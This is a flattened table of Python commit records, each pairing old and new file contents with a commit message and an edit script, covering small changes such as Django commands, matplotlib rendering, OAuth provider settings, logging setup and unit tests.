commit stringlengths 40 40 | old_file stringlengths 5 117 | new_file stringlengths 5 117 | old_contents stringlengths 0 1.93k | new_contents stringlengths 19 3.3k | subject stringlengths 17 320 | message stringlengths 18 3.28k | lang stringclasses 1
value | license stringclasses 13
values | repos stringlengths 7 42.4k | completion stringlengths 152 6.66k | prompt stringlengths 21 3.65k |
|---|---|---|---|---|---|---|---|---|---|---|---|
e94b3ad6c393d6758d6bc5c5ca2b7e59febf710c | solidity/python/constants/PrintExpScalingFactors.py | solidity/python/constants/PrintExpScalingFactors.py | from common import exp
MIN_PRECISION = 32
for n in [0.5,1.0,2.0,3.0]:
print ' uint256 constant SCALED_EXP_{} = 0x{:x};'.format(n,int(exp(n)*(1<<MIN_PRECISION))).replace('.','P')
print ' uint256 constant SCALED_VAL_{} = 0x{:x};'.format(n,int( (n)*(1<<MIN_PRECISION))).replace('.','P')
| from math import exp
MIN_PRECISION = 32
for n in [0.5,1.0,2.0,3.0]:
print ' uint256 constant SCALED_EXP_{} = 0x{:x};'.format(n,int(exp(n)*(1<<MIN_PRECISION))).replace('.','P')
print ' uint256 constant SCALED_VAL_{} = 0x{:x};'.format(n,int( (n)*(1<<MIN_PRECISION))).replace('.','P')
| Revert previous commit on this specific file (mistake). | Revert previous commit on this specific file (mistake).
| Python | apache-2.0 | enjin/contracts | <REPLACE_OLD> common <REPLACE_NEW> math <REPLACE_END> <|endoftext|> from math import exp
MIN_PRECISION = 32
for n in [0.5,1.0,2.0,3.0]:
print ' uint256 constant SCALED_EXP_{} = 0x{:x};'.format(n,int(exp(n)*(1<<MIN_PRECISION))).replace('.','P')
print ' uint256 constant SCALED_VAL_{} = 0x{:x};'.format(n... | Revert previous commit on this specific file (mistake).
from common import exp
MIN_PRECISION = 32
for n in [0.5,1.0,2.0,3.0]:
print ' uint256 constant SCALED_EXP_{} = 0x{:x};'.format(n,int(exp(n)*(1<<MIN_PRECISION))).replace('.','P')
print ' uint256 constant SCALED_VAL_{} = 0x{:x};'.format(n,int( (... |
92ecaea827da56a15297ffc240312b1767ebb845 | ibmcnx/doc/DataSources.py | ibmcnx/doc/DataSources.py | ######
# Check ExId (GUID) by Email through JDBC
#
# Author: Christoph Stoettner
# Mail: christoph.stoettner@stoeps.de
# Documentation: http://scripting101.stoeps.de
#
# Version: 2.0
# Date: 2014-06-04
#
# License: Apache 2.0
#
# Check ExId of a User in all Connections Appli... | ######
# Check ExId (GUID) by Email through JDBC
#
# Author: Christoph Stoettner
# Mail: christoph.stoettner@stoeps.de
# Documentation: http://scripting101.stoeps.de
#
# Version: 2.0
# Date: 2014-06-04
#
# License: Apache 2.0
#
# Check ExId of a User in all Connections Appli... | Create documentation of DataSource Settings | 8: Create documentation of DataSource Settings
Task-Url: http://github.com/stoeps13/ibmcnx2/issues/issue/8 | Python | apache-2.0 | stoeps13/ibmcnx2,stoeps13/ibmcnx2 | <INSERT> try:
<INSERT_END> <INSERT> except:
print "error on: " + db
<INSERT_END> <INSERT> try:
<INSERT_END> <REPLACE_OLD> ) <REPLACE_NEW> )
except:
print "error on: " + db <REPLACE_END> <|endoftext|> ######
# Check ExId (GUID) by Email through JDBC
#
# Author: Christoph ... | 8: Create documentation of DataSource Settings
Task-Url: http://github.com/stoeps13/ibmcnx2/issues/issue/8
######
# Check ExId (GUID) by Email through JDBC
#
# Author: Christoph Stoettner
# Mail: christoph.stoettner@stoeps.de
# Documentation: http://scripting101.stoeps.de
#
# Version: 2.0
#... |
944379d74969a17fa85cb05c5541d3d569764097 | studygroups/management/commands/fix_course_created_by.py | studygroups/management/commands/fix_course_created_by.py | from django.core.management.base import BaseCommand, CommandError
from studygroups.models import Course
from django.contrib.auth.models import User
class Command(BaseCommand):
help = 'Add a created_by field to all courses'
def handle(self, *args, **options):
user1 = User.objects.get(pk=1324)
... | Add task to fix created_by for courses without it | Add task to fix created_by for courses without it
| Python | mit | p2pu/learning-circles,p2pu/learning-circles,p2pu/learning-circles,p2pu/learning-circles | <INSERT> from django.core.management.base import BaseCommand, CommandError
from studygroups.models import Course
from django.contrib.auth.models import User
class Command(BaseCommand):
<INSERT_END> <INSERT> help = 'Add a created_by field to all courses'
def handle(self, *args, **options):
user1 = User... | Add task to fix created_by for courses without it
| |
d012763c57450555d45385ed9b254f500388618e | automata/render.py | automata/render.py | import matplotlib
matplotlib.use('Agg')
import matplotlib.pyplot as plt
import matplotlib.animation as animation
class AnimatedGif:
""" Setup various rendering things
"""
def __init__(self, dpi=100, colors="Purples"):
self.frames = []
self.fig = plt.figure(dpi=dpi)
plt.axis("off")... | import matplotlib
matplotlib.use('Agg')
import matplotlib.colors
import matplotlib.pyplot as plt
import matplotlib.animation as animation
class AnimatedGif:
""" Setup various rendering things
"""
def __init__(self, dpi=100, colors="Purples"):
self.frames = []
self.fig = plt.figure(dpi=dpi... | Use the same normlization for whole gif | Use the same normlization for whole gif
| Python | apache-2.0 | stevearm/automata | <INSERT> matplotlib.colors
import <INSERT_END> <INSERT> self.normalize = matplotlib.colors.Normalize()
<INSERT_END> <INSERT> norm=self.normalize, <INSERT_END> <|endoftext|> import matplotlib
matplotlib.use('Agg')
import matplotlib.colors
import matplotlib.pyplot as plt
import matplotlib.animation as animation
... | Use the same normlization for whole gif
import matplotlib
matplotlib.use('Agg')
import matplotlib.pyplot as plt
import matplotlib.animation as animation
class AnimatedGif:
""" Setup various rendering things
"""
def __init__(self, dpi=100, colors="Purples"):
self.frames = []
self.fig = pl... |
096e41266ac3686c1757fc4b5087e3b786287f91 | webapp/byceps/database.py | webapp/byceps/database.py | # -*- coding: utf-8 -*-
"""
byceps.database
~~~~~~~~~~~~~~~
Database utilities.
:Copyright: 2006-2014 Jochen Kupperschmidt
"""
import uuid
from flask.ext.sqlalchemy import BaseQuery, SQLAlchemy
from sqlalchemy.dialects.postgresql import UUID
db = SQLAlchemy()
db.Uuid = UUID
def generate_uuid():
"""Genera... | # -*- coding: utf-8 -*-
"""
byceps.database
~~~~~~~~~~~~~~~
Database utilities.
:Copyright: 2006-2014 Jochen Kupperschmidt
"""
import uuid
from flask.ext.sqlalchemy import BaseQuery, SQLAlchemy
from sqlalchemy.dialects.postgresql import UUID
db = SQLAlchemy(session_options={'autoflush': False})
db.Uuid = UUID
... | Disable autoflushing as introduced with Flask-SQLAlchemy 2.0. | Disable autoflushing as introduced with Flask-SQLAlchemy 2.0.
| Python | bsd-3-clause | homeworkprod/byceps,m-ober/byceps,m-ober/byceps,m-ober/byceps,homeworkprod/byceps,homeworkprod/byceps | <REPLACE_OLD> SQLAlchemy()
db.Uuid <REPLACE_NEW> SQLAlchemy(session_options={'autoflush': False})
db.Uuid <REPLACE_END> <|endoftext|> # -*- coding: utf-8 -*-
"""
byceps.database
~~~~~~~~~~~~~~~
Database utilities.
:Copyright: 2006-2014 Jochen Kupperschmidt
"""
import uuid
from flask.ext.sqlalchemy import BaseQ... | Disable autoflushing as introduced with Flask-SQLAlchemy 2.0.
# -*- coding: utf-8 -*-
"""
byceps.database
~~~~~~~~~~~~~~~
Database utilities.
:Copyright: 2006-2014 Jochen Kupperschmidt
"""
import uuid
from flask.ext.sqlalchemy import BaseQuery, SQLAlchemy
from sqlalchemy.dialects.postgresql import UUID
db = SQL... |
530bd321f38a0131eb250148bd0a67d9a59da34c | uno_image.py | uno_image.py | """
Example usage of UNO, graphic objects and networking in LO extension
"""
import unohelper
from com.sun.star.task import XJobExecutor
class ImageExample(unohelper.Base, XJobExecutor):
'''Class that implements the service registered in LibreOffice'''
def __init__(self, context):
self.context = cont... | """
Example usage of UNO, graphic objects and networking in LO extension
"""
import unohelper
from com.sun.star.task import XJobExecutor
class ImageExample(unohelper.Base, XJobExecutor):
'''Class that implements the service registered in LibreOffice'''
def __init__(self, context):
self.context = cont... | Add code to create needed uno services | Add code to create needed uno services
| Python | mpl-2.0 | JIghtuse/uno-image-manipulation-example | <REPLACE_OLD> context
g_ImplementationHelper <REPLACE_NEW> context
self.desktop = self.createUnoService("com.sun.star.frame.Desktop")
self.graphics = self.createUnoService("com.sun.star.graphic.GraphicProvider")
def createUnoService(self, name):
return self.context.ServiceManager.createIns... | Add code to create needed uno services
"""
Example usage of UNO, graphic objects and networking in LO extension
"""
import unohelper
from com.sun.star.task import XJobExecutor
class ImageExample(unohelper.Base, XJobExecutor):
'''Class that implements the service registered in LibreOffice'''
def __init__(sel... |
cabf0004d6e7e3687cdd2ebe9aebeede01877e69 | tests/run_tests.py | tests/run_tests.py | """
Simple test runner to separate out the functional tests and the unit tests.
"""
import os
import subprocess
PLATFORMS = ['bsd', 'linux', 'nt']
# Detect what platform we are on
try:
platform = os.uname()[0].lower()
except AttributeError:
platform = os.name.lower()
if platform == 'darwin':
platform = '... | """
Simple test runner to separate out the functional tests and the unit tests.
"""
import os
import subprocess
PLATFORMS = ['bsd', 'linux', 'nt']
# Detect what platform we are on
try:
platform = os.uname()[0].lower()
except AttributeError:
platform = os.name.lower()
if platform == 'darwin':
platform = '... | Add unit to the test directories | Add unit to the test directories
| Python | bsd-3-clause | jstnlef/pika,reddec/pika,pika/pika,Tarsbot/pika,Zephor5/pika,knowsis/pika,shinji-s/pika,fkarb/pika-python3,vitaly-krugl/pika,vrtsystems/pika,benjamin9999/pika,skftn/pika,renshawbay/pika-python3,hugoxia/pika,zixiliuyue/pika | <REPLACE_OLD> ['functional'] <REPLACE_NEW> ['functional', 'unit'] <REPLACE_END> <|endoftext|> """
Simple test runner to separate out the functional tests and the unit tests.
"""
import os
import subprocess
PLATFORMS = ['bsd', 'linux', 'nt']
# Detect what platform we are on
try:
platform = os.uname()[0].lower()
ex... | Add unit to the test directories
"""
Simple test runner to separate out the functional tests and the unit tests.
"""
import os
import subprocess
PLATFORMS = ['bsd', 'linux', 'nt']
# Detect what platform we are on
try:
platform = os.uname()[0].lower()
except AttributeError:
platform = os.name.lower()
if plat... |
e77e5019ac81d6ea41e9253d394977543f26c9be | application.py | application.py | #!/usr/bin/env python
import os
from app import create_app
from flask.ext.script import Manager, Server
import watchtower
import logging
application = create_app(
os.getenv('EQ_ENVIRONMENT') or 'development'
)
application.debug = True
manager = Manager(application)
port = int(os.environ.get('PORT', 5000))
manage... | #!/usr/bin/env python
import os
from app import create_app
from flask.ext.script import Manager, Server
import watchtower
import logging
application = create_app(
os.getenv('EQ_ENVIRONMENT') or 'development'
)
application.debug = True
manager = Manager(application)
port = int(os.environ.get('PORT', 5000))
manage... | Allow log group to be set from env | Allow log group to be set from env
| Python | mit | ONSdigital/eq-survey-runner,ONSdigital/eq-survey-runner,ONSdigital/eq-survey-runner,ONSdigital/eq-survey-runner | <REPLACE_OLD> port=port))
cloud_watch_handler <REPLACE_NEW> port=port))
log_group <REPLACE_END> <REPLACE_OLD> watchtower.CloudWatchLogHandler()
FORMAT <REPLACE_NEW> os.getenv('EQ_SR_LOG_GROUP')
cloud_watch_handler = watchtower.CloudWatchLogHandler(log_group=log_group)
FORMAT <REPLACE_END> <|endoftext|> #!/usr/bin/env... | Allow log group to be set from env
#!/usr/bin/env python
import os
from app import create_app
from flask.ext.script import Manager, Server
import watchtower
import logging
application = create_app(
os.getenv('EQ_ENVIRONMENT') or 'development'
)
application.debug = True
manager = Manager(application)
port = int(... |
f4275a930410e71cd3b505c8be279d5e9ca8c92e | mozillians/graphql_profiles/views.py | mozillians/graphql_profiles/views.py | from django.http import Http404
from django.views.decorators.csrf import csrf_exempt
from django.utils.decorators import method_decorator
import waffle
from csp.decorators import csp_exempt
from graphene_django.views import GraphQLView
class MozilliansGraphQLView(GraphQLView):
"""Class Based View to handle Graph... | from django.conf import settings
from django.http import Http404
from django.views.decorators.csrf import csrf_exempt
from django.utils.decorators import method_decorator
from csp.decorators import csp_exempt
from graphene_django.views import GraphQLView
class MozilliansGraphQLView(GraphQLView):
"""Class Based V... | Use the same setting for DinoPark. | Use the same setting for DinoPark.
| Python | bsd-3-clause | mozilla/mozillians,mozilla/mozillians,akatsoulas/mozillians,mozilla/mozillians,akatsoulas/mozillians,mozilla/mozillians,akatsoulas/mozillians,akatsoulas/mozillians | <INSERT> django.conf import settings
from <INSERT_END> <REPLACE_OLD> method_decorator
import waffle
from <REPLACE_NEW> method_decorator
from <REPLACE_END> <REPLACE_OLD> waffle.flag_is_active(self.request, 'enable_graphql'):
<REPLACE_NEW> settings.DINO_PARK_ACTIVE:
<REPLACE_END> <|endoftext|> from django.conf import... | Use the same setting for DinoPark.
from django.http import Http404
from django.views.decorators.csrf import csrf_exempt
from django.utils.decorators import method_decorator
import waffle
from csp.decorators import csp_exempt
from graphene_django.views import GraphQLView
class MozilliansGraphQLView(GraphQLView):
... |
00376feb1140d75b47c226ec6752daccfa9a24e5 | doc/pyplots/cobsr_overhead.py | doc/pyplots/cobsr_overhead.py |
from matplotlib import pyplot as plt
import numpy as np
from cobs import cobs
from cobs import cobsr
def cobsr_overhead_calc(num_bytes):
return 257./256 - (255./256)**num_bytes
def cobsr_overhead_measure(num_bytes):
# TODO: review value
NUM_TESTS = 10000
overhead = 0
for _i in xrange(NUM_TESTS):... | Add program to graph theoretical vs experimental COBS/R overhead | Add program to graph theoretical vs experimental COBS/R overhead
I wrote this a long time ago, but didn't put it into version control
until now.
| Python | mit | cmcqueen/cobs-python,cmcqueen/cobs-python | <REPLACE_OLD> <REPLACE_NEW>
from matplotlib import pyplot as plt
import numpy as np
from cobs import cobs
from cobs import cobsr
def cobsr_overhead_calc(num_bytes):
return 257./256 - (255./256)**num_bytes
def cobsr_overhead_measure(num_bytes):
# TODO: review value
NUM_TESTS = 10000
overhead = 0
... | Add program to graph theoretical vs experimental COBS/R overhead
I wrote this a long time ago, but didn't put it into version control
until now.
| |
1fdd6b13faa286f81cf92151262e0f549de457d7 | PcDuino/default_settings.py | PcDuino/default_settings.py | # Web server
DEBUG = True
HOST = '127.0.0.1'
PORT = 5000
TEMPLATE = 'flot.html'
# Database location
SQLITE3_DB_PATH = 'data/ua_sensors.sqlite3'
# Sensor type mapping
#
# - First parameter is the identifier sent from sensors in the wild
# - Second parameter is the readable name of the sensor type
# - Third parameter i... | # Web server
DEBUG = True
HOST = '127.0.0.1'
PORT = 5000
TEMPLATE = 'flot.html'
SITE_TITLE = "UA Sensors Visualization"
# Database location
SQLITE3_DB_PATH = 'data/ua_sensors.sqlite3'
# Sensor type mapping
#
# - First parameter is the identifier sent from sensors in the wild
# - Second parameter is the readable nam... | Add some new default settings | Add some new default settings
| Python | unlicense | UAA-EQLNES/EQLNES-Sensors | <REPLACE_OLD> 'flot.html'
# <REPLACE_NEW> 'flot.html'
SITE_TITLE = "UA Sensors Visualization"
# <REPLACE_END> <REPLACE_OLD> 'data/ua_sensors.sqlite3'
# <REPLACE_NEW> 'data/ua_sensors.sqlite3'
# <REPLACE_END> <REPLACE_OLD> celsius"),
)
# <REPLACE_NEW> celsius"),
)
# Maps sensor ids to more informative name.
#
#... | Add some new default settings
# Web server
DEBUG = True
HOST = '127.0.0.1'
PORT = 5000
TEMPLATE = 'flot.html'
# Database location
SQLITE3_DB_PATH = 'data/ua_sensors.sqlite3'
# Sensor type mapping
#
# - First parameter is the identifier sent from sensors in the wild
# - Second parameter is the readable name of the se... |
fa3c5c4c80bcf8596013df7636ed7a1e19972c99 | polyfit_distributions.py | polyfit_distributions.py | import numpy as np
def main():
np.random.seed(0)
bins = 50
X = np.random.zipf(1.2, 1000)
y = np.histogram(X[X<bins], bins, normed=True)[0]
fn = np.polyfit(np.arange(bins), y, 3)
print(fn)
np.random.seed(0)
bins = 50
samples = 1000
X = [np.random.zipf(1.2, samples),
np... | Build curves for a single zipfian distribution and then 3 combined | Build curves for a single zipfian distribution and then 3 combined
| Python | mit | noelevans/sandpit,noelevans/sandpit,noelevans/sandpit,noelevans/sandpit,noelevans/sandpit,noelevans/sandpit | <INSERT> import numpy as np
def main():
<INSERT_END> <INSERT> np.random.seed(0)
bins = 50
X = np.random.zipf(1.2, 1000)
y = np.histogram(X[X<bins], bins, normed=True)[0]
fn = np.polyfit(np.arange(bins), y, 3)
print(fn)
np.random.seed(0)
bins = 50
samples = 1000
X = [np.random.z... | Build curves for a single zipfian distribution and then 3 combined
| |
89f9b30bf3539d947fc066e5ab2845cf78e45ab5 | test/test_07_user_thermal.py | test/test_07_user_thermal.py | class TestUserThermal:
def test_can_download_audio(self, helper):
device = helper.given_new_device(self, 'cacophonator')
recording = device.has_recording()
print("\nA user should be able to download the recording")
helper.admin_user().can_download_correct_recording(recording)
d... | class TestUserThermal:
def test_can_download_recording(self, helper):
device = helper.given_new_device(self, 'cacophonator-download')
recording = device.has_recording()
print("\nA user should be able to download the recording")
helper.admin_user().can_download_correct_recording(reco... | Use unique device names in tests & correct a test name | Use unique device names in tests & correct a test name
| Python | agpl-3.0 | TheCacophonyProject/Full_Noise | <REPLACE_OLD> test_can_download_audio(self, <REPLACE_NEW> test_can_download_recording(self, <REPLACE_END> <REPLACE_OLD> 'cacophonator')
<REPLACE_NEW> 'cacophonator-download')
<REPLACE_END> <REPLACE_OLD> 'cacophonator')
<REPLACE_NEW> 'cacophonator-delete')
<REPLACE_END> <|endoftext|> class TestUserThermal:
def t... | Use unique device names in tests & correct a test name
class TestUserThermal:
def test_can_download_audio(self, helper):
device = helper.given_new_device(self, 'cacophonator')
recording = device.has_recording()
print("\nA user should be able to download the recording")
helper.admin... |
52fa6cff088e2032fc8a3a9d732bf8affb9bccae | config/template.py | config/template.py | DB_USER = ''
DB_HOST = ''
DB_PASSWORD = ''
DB_NAME = ''
| DB_USER = ''
DB_HOST = ''
DB_PASSWORD = ''
DB_NAME = ''
TWILIO_NUMBERS = ['']
| Allow for representative view display with sample configuration | Allow for representative view display with sample configuration
| Python | mit | AKVorrat/ueberwachungspaket.at,AKVorrat/ueberwachungspaket.at,AKVorrat/ueberwachungspaket.at | <REPLACE_OLD> ''
<REPLACE_NEW> ''
TWILIO_NUMBERS = ['']
<REPLACE_END> <|endoftext|> DB_USER = ''
DB_HOST = ''
DB_PASSWORD = ''
DB_NAME = ''
TWILIO_NUMBERS = ['']
| Allow for representative view display with sample configuration
DB_USER = ''
DB_HOST = ''
DB_PASSWORD = ''
DB_NAME = ''
|
88d1274638e1f4d0341c5e55bdb729ae52c2b607 | accounts/models.py | accounts/models.py | from github import Github
from django.contrib.auth.models import User
from tools.decorators import extend
@extend(User)
class Profile(object):
"""Add shortcuts to user"""
@property
def github(self):
"""Github api instance with access from user"""
token = self.social_auth.get().extra_data[... | from github import Github
from django.contrib.auth.models import User
from tools.decorators import extend
@extend(User)
class Profile(object):
"""Add shortcuts to user"""
@property
def github(self):
"""Github api instance with access from user"""
return Github(self.github_token)
@pro... | Add ability to get github token from user model | Add ability to get github token from user model
| Python | mit | nvbn/coviolations_web,nvbn/coviolations_web | <REPLACE_OLD> token = self.social_auth.get().extra_data['access_token']
<REPLACE_NEW> return Github(self.github_token)
@property
def github_token(self):
"""Get github api token"""
<REPLACE_END> <REPLACE_OLD> Github(token)
<REPLACE_NEW> self.social_auth.get().extra_data['access_token']
<REPLACE_END>... | Add ability to get github token from user model
from github import Github
from django.contrib.auth.models import User
from tools.decorators import extend
@extend(User)
class Profile(object):
"""Add shortcuts to user"""
@property
def github(self):
"""Github api instance with access from user"""
... |
91f107ef2ebdaf7ff210b9f36e2c810441f389e7 | services/rdio.py | services/rdio.py | from werkzeug.urls import url_decode
from oauthlib.oauth1.rfc5849 import SIGNATURE_TYPE_BODY
import foauth.providers
class Rdio(foauth.providers.OAuth1):
# General info about the provider
provider_url = 'http://www.rdio.com/'
docs_url = 'http://developer.rdio.com/docs/REST/'
category = 'Music'
#... | from werkzeug.urls import url_decode
import foauth.providers
class Rdio(foauth.providers.OAuth1):
# General info about the provider
provider_url = 'http://www.rdio.com/'
docs_url = 'http://developer.rdio.com/docs/REST/'
category = 'Music'
# URLs to interact with the API
request_token_url = '... | Allow Rdio to use default signature handling | Allow Rdio to use default signature handling
| Python | bsd-3-clause | foauth/oauth-proxy,foauth/foauth.org,foauth/foauth.org,foauth/foauth.org | <REPLACE_OLD> url_decode
from oauthlib.oauth1.rfc5849 import SIGNATURE_TYPE_BODY
import <REPLACE_NEW> url_decode
import <REPLACE_END> <REPLACE_OLD> False
signature_type = SIGNATURE_TYPE_BODY
<REPLACE_NEW> False
<REPLACE_END> <|endoftext|> from werkzeug.urls import url_decode
import foauth.providers
class R... | Allow Rdio to use default signature handling
from werkzeug.urls import url_decode
from oauthlib.oauth1.rfc5849 import SIGNATURE_TYPE_BODY
import foauth.providers
class Rdio(foauth.providers.OAuth1):
# General info about the provider
provider_url = 'http://www.rdio.com/'
docs_url = 'http://developer.rdio... |
cf663c4961a84260e34ec422a4983d312df9e8c3 | calc.py | calc.py | """calc.py: A simple python calculator."""
import sys
def add_all(nums):
return sum(nums)
def multiply_all(nums):
return reduce(lambda a, b: a * b, nums)
if __name__ == '__main__':
command = sys.argv[1]
nums = map(float, sys.argv[2:])
if command == 'add':
print(add_all(nums))
elif co... | """calc.py: A simple Python calculator."""
import sys
def add_all(nums):
return sum(nums)
def multiply_all(nums):
return reduce(lambda a, b: a * b, nums)
if __name__ == '__main__':
command = sys.argv[1]
nums = map(float, sys.argv[2:])
if command == 'add':
print(add_all(nums))
elif com... | Add support to min command | Add support to min command
| Python | bsd-3-clause | anchavesb/pyCalc | <REPLACE_OLD> python calculator."""
import <REPLACE_NEW> Python calculator."""
import <REPLACE_END> <INSERT> elif command == 'min':
print(min(nums))
<INSERT_END> <|endoftext|> """calc.py: A simple Python calculator."""
import sys
def add_all(nums):
return sum(nums)
def multiply_all(nums):
return ... | Add support to min command
"""calc.py: A simple python calculator."""
import sys
def add_all(nums):
return sum(nums)
def multiply_all(nums):
return reduce(lambda a, b: a * b, nums)
if __name__ == '__main__':
command = sys.argv[1]
nums = map(float, sys.argv[2:])
if command == 'add':
prin... |
b54ebe45b10e4bc645fae2004c333d78602a62e0 | vext/__init__.py | vext/__init__.py | import logging
from os import environ
from os.path import join
from distutils.sysconfig import get_python_lib
VEXT_DEBUG_LOG = "VEXT_DEBUG_LOG"
vext_pth = join(get_python_lib(), 'vext_importer.pth')
logger = logging.getLogger("vext")
if VEXT_DEBUG_LOG in environ:
if environ.get(VEXT_DEBUG_LOG, "0") == "1":
... | import logging
import sys
from os import environ
from os.path import join
from distutils.sysconfig import get_python_lib
VEXT_DEBUG_LOG = "VEXT_DEBUG_LOG"
vext_pth = join(get_python_lib(), 'vext_importer.pth')
logger = logging.getLogger("vext")
if VEXT_DEBUG_LOG in environ and environ.get(VEXT_DEBUG_LOG, "0") == "1"... | Change how logging works again :) | Change how logging works again :)
| Python | mit | stuaxo/vext | <REPLACE_OLD> logging
from <REPLACE_NEW> logging
import sys
from <REPLACE_END> <REPLACE_OLD> environ:
if <REPLACE_NEW> environ and <REPLACE_END> <DELETE> <DELETE_END> <REPLACE_OLD> else:
<REPLACE_NEW> logger.addHandler(logging.StreamHandler())
else:
<REPLACE_END> <REPLACE_OLD> logger.debug("install_impo... | Change how logging works again :)
import logging
from os import environ
from os.path import join
from distutils.sysconfig import get_python_lib
VEXT_DEBUG_LOG = "VEXT_DEBUG_LOG"
vext_pth = join(get_python_lib(), 'vext_importer.pth')
logger = logging.getLogger("vext")
if VEXT_DEBUG_LOG in environ:
if environ.get... |
56e6ab84025f071c04701d3dc736b68e82361139 | apitestcase/testcase.py | apitestcase/testcase.py | import types
import unittest
import requests
class TestCase(object):
"""
Add assetion methods for HTTP Requests to TestCase
"""
hosts = []
def assertGet(self, endpoint="", status_code=200, body=""):
"""
Asserts GET requests on a given endpoint
"""
for host in self... | import unittest
import requests
class TestCase(object):
"""
Add assetion methods for HTTP Requests to TestCase
"""
hosts = []
def assertGet(self, endpoint="", status_code=200, body=""):
"""
Asserts GET requests on a given endpoint
"""
for host in self.hosts:
... | Change assertGet body check from StringType to str | Change assertGet body check from StringType to str
| Python | mit | bramwelt/apitestcase | <DELETE> types
import <DELETE_END> <REPLACE_OLD> types.StringType):
<REPLACE_NEW> str):
<REPLACE_END> <|endoftext|> import unittest
import requests
class TestCase(object):
"""
Add assetion methods for HTTP Requests to TestCase
"""
hosts = []
def assertGet(self, endpoint="", status_code=200, bo... | Change assertGet body check from StringType to str
import types
import unittest
import requests
class TestCase(object):
"""
Add assetion methods for HTTP Requests to TestCase
"""
hosts = []
def assertGet(self, endpoint="", status_code=200, body=""):
"""
Asserts GET requests on a... |
5736e8314d5af3346a15224b27448f1c795f665c | bin/coverage_check.py | bin/coverage_check.py | #!/usr/bin/env python
import os
import subprocess
from lib import functional
from util import find_all
def coverage_module(package, module):
command = (
'coverage run --branch'
' --source=%s.%s tests/%s/%s_test.py')
print subprocess.check_output(
command % (package, module, package,... | #!/usr/bin/env python
import os
import subprocess
from lib import functional
from util import find_all
def coverage_module(package, module):
command = (
'coverage run --branch'
' --source=%s.%s tests/%s/%s_test.py')
print subprocess.check_output(
command % (package, module, package,... | Remove hard coded 'engine' and 'lib' in coverage testing | Remove hard coded 'engine' and 'lib' in coverage testing
| Python | mit | Tactique/game_engine,Tactique/game_engine | <REPLACE_OLD> ['lib', 'engine']:
<REPLACE_NEW> os.listdir('src/'):
<REPLACE_END> <|endoftext|> #!/usr/bin/env python
import os
import subprocess
from lib import functional
from util import find_all
def coverage_module(package, module):
command = (
'coverage run --branch'
' --source=%s.%s test... | Remove hard coded 'engine' and 'lib' in coverage testing
#!/usr/bin/env python
import os
import subprocess
from lib import functional
from util import find_all
def coverage_module(package, module):
command = (
'coverage run --branch'
' --source=%s.%s tests/%s/%s_test.py')
print subprocess.... |
bb3ec131261f0619a86f21f549d6b1cb47f2c9ad | graph/serializers.py | graph/serializers.py | from rest_framework import serializers
from measurement.models import Measurement
from threshold_value.models import ThresholdValue
from calendar import timegm
from alarm.models import Alarm
class GraphSeriesSerializer(serializers.ModelSerializer):
x = serializers.SerializerMethodField('get_time')
y = seriali... | from rest_framework import serializers
from measurement.models import Measurement
from threshold_value.models import ThresholdValue
from calendar import timegm
from alarm.models import Alarm
class GraphSeriesSerializer(serializers.ModelSerializer):
x = serializers.SerializerMethodField('get_time')
y = seriali... | Simplify SimpleAlarmSerializer to improve the performance of the graph_data endpoint | Simplify SimpleAlarmSerializer to improve the performance of the graph_data endpoint
| Python | mit | sigurdsa/angelika-api | <REPLACE_OLD> ('id', 'time_created', 'is_treated', 'treated_text')
<REPLACE_NEW> ['is_treated']
<REPLACE_END> <|endoftext|> from rest_framework import serializers
from measurement.models import Measurement
from threshold_value.models import ThresholdValue
from calendar import timegm
from alarm.models import Alarm
c... | Simplify SimpleAlarmSerializer to improve the performance of the graph_data endpoint
from rest_framework import serializers
from measurement.models import Measurement
from threshold_value.models import ThresholdValue
from calendar import timegm
from alarm.models import Alarm
class GraphSeriesSerializer(serializers.M... |
2a3f4ff6686f1630348a73dd62d7ad8e3215dff5 | tests/conftest.py | tests/conftest.py | import pytest
from cattr import Converter
@pytest.fixture()
def converter():
return Converter()
| import platform
import pytest
from hypothesis import HealthCheck, settings
from cattr import Converter
@pytest.fixture()
def converter():
return Converter()
if platform.python_implementation() == 'PyPy':
settings.default.suppress_health_check.append(HealthCheck.too_slow)
| Disable Hypothesis health check for PyPy. | Disable Hypothesis health check for PyPy.
| Python | mit | python-attrs/cattrs,Tinche/cattrs | <INSERT> platform
import <INSERT_END> <INSERT> hypothesis import HealthCheck, settings
from <INSERT_END> <REPLACE_OLD> Converter()
<REPLACE_NEW> Converter()
if platform.python_implementation() == 'PyPy':
settings.default.suppress_health_check.append(HealthCheck.too_slow)
<REPLACE_END> <|endoftext|> import pla... | Disable Hypothesis health check for PyPy.
import pytest
from cattr import Converter
@pytest.fixture()
def converter():
return Converter()
|
8a43d4d603a3bbad0c2f368c6c1d327a6c09b793 | src/python/gcld3_test.py | src/python/gcld3_test.py | """Tests for gcld3."""
import gcld3
import unittest
class NnetLanguageIdentifierTest(unittest.TestCase):
def testLangIdentification(self):
detector = gcld3.NNetLanguageIdentifier(min_num_bytes=0, max_num_bytes=1000)
sample = "This text is written in English."
result = detector.FindLanguage(text=sample... | Add a python unit test | Add a python unit test
| Python | apache-2.0 | google/cld3,google/cld3 | <INSERT> """Tests for gcld3."""
import gcld3
import unittest
class NnetLanguageIdentifierTest(unittest.TestCase):
<INSERT_END> <INSERT> def testLangIdentification(self):
detector = gcld3.NNetLanguageIdentifier(min_num_bytes=0, max_num_bytes=1000)
sample = "This text is written in English."
result = det... | Add a python unit test
| |
e9170de0c8d427e2545469c2d3add43bfae1cc54 | tests/test_construct_policy.py | tests/test_construct_policy.py | """Test IAM Policies for correctness."""
import json
from foremast.iam.construct_policy import construct_policy
ANSWER1 = {
'Version': '2012-10-17',
'Statement': [
{
'Effect': 'Allow',
'Action': [
's3:GetObject',
's3:ListObject'
],
... | """Test IAM Policies for correctness."""
import json
from foremast.iam.construct_policy import construct_policy
ANSWER1 = {
'Version': '2012-10-17',
'Statement': [
{
'Effect': 'Allow',
'Action': [
's3:GetObject',
's3:ListObject'
],
... | Add TODO for more IAM Policy testing | chore: Add TODO for more IAM Policy testing
See also: PSOBAT-1482
| Python | apache-2.0 | gogoair/foremast,gogoair/foremast | <INSERT> # TODO: Test other services besides S3
<INSERT_END> <|endoftext|> """Test IAM Policies for correctness."""
import json
from foremast.iam.construct_policy import construct_policy
ANSWER1 = {
'Version': '2012-10-17',
'Statement': [
{
'Effect': 'Allow',
'Action': [
... | chore: Add TODO for more IAM Policy testing
See also: PSOBAT-1482
"""Test IAM Policies for correctness."""
import json
from foremast.iam.construct_policy import construct_policy
ANSWER1 = {
'Version': '2012-10-17',
'Statement': [
{
'Effect': 'Allow',
'Action': [
... |
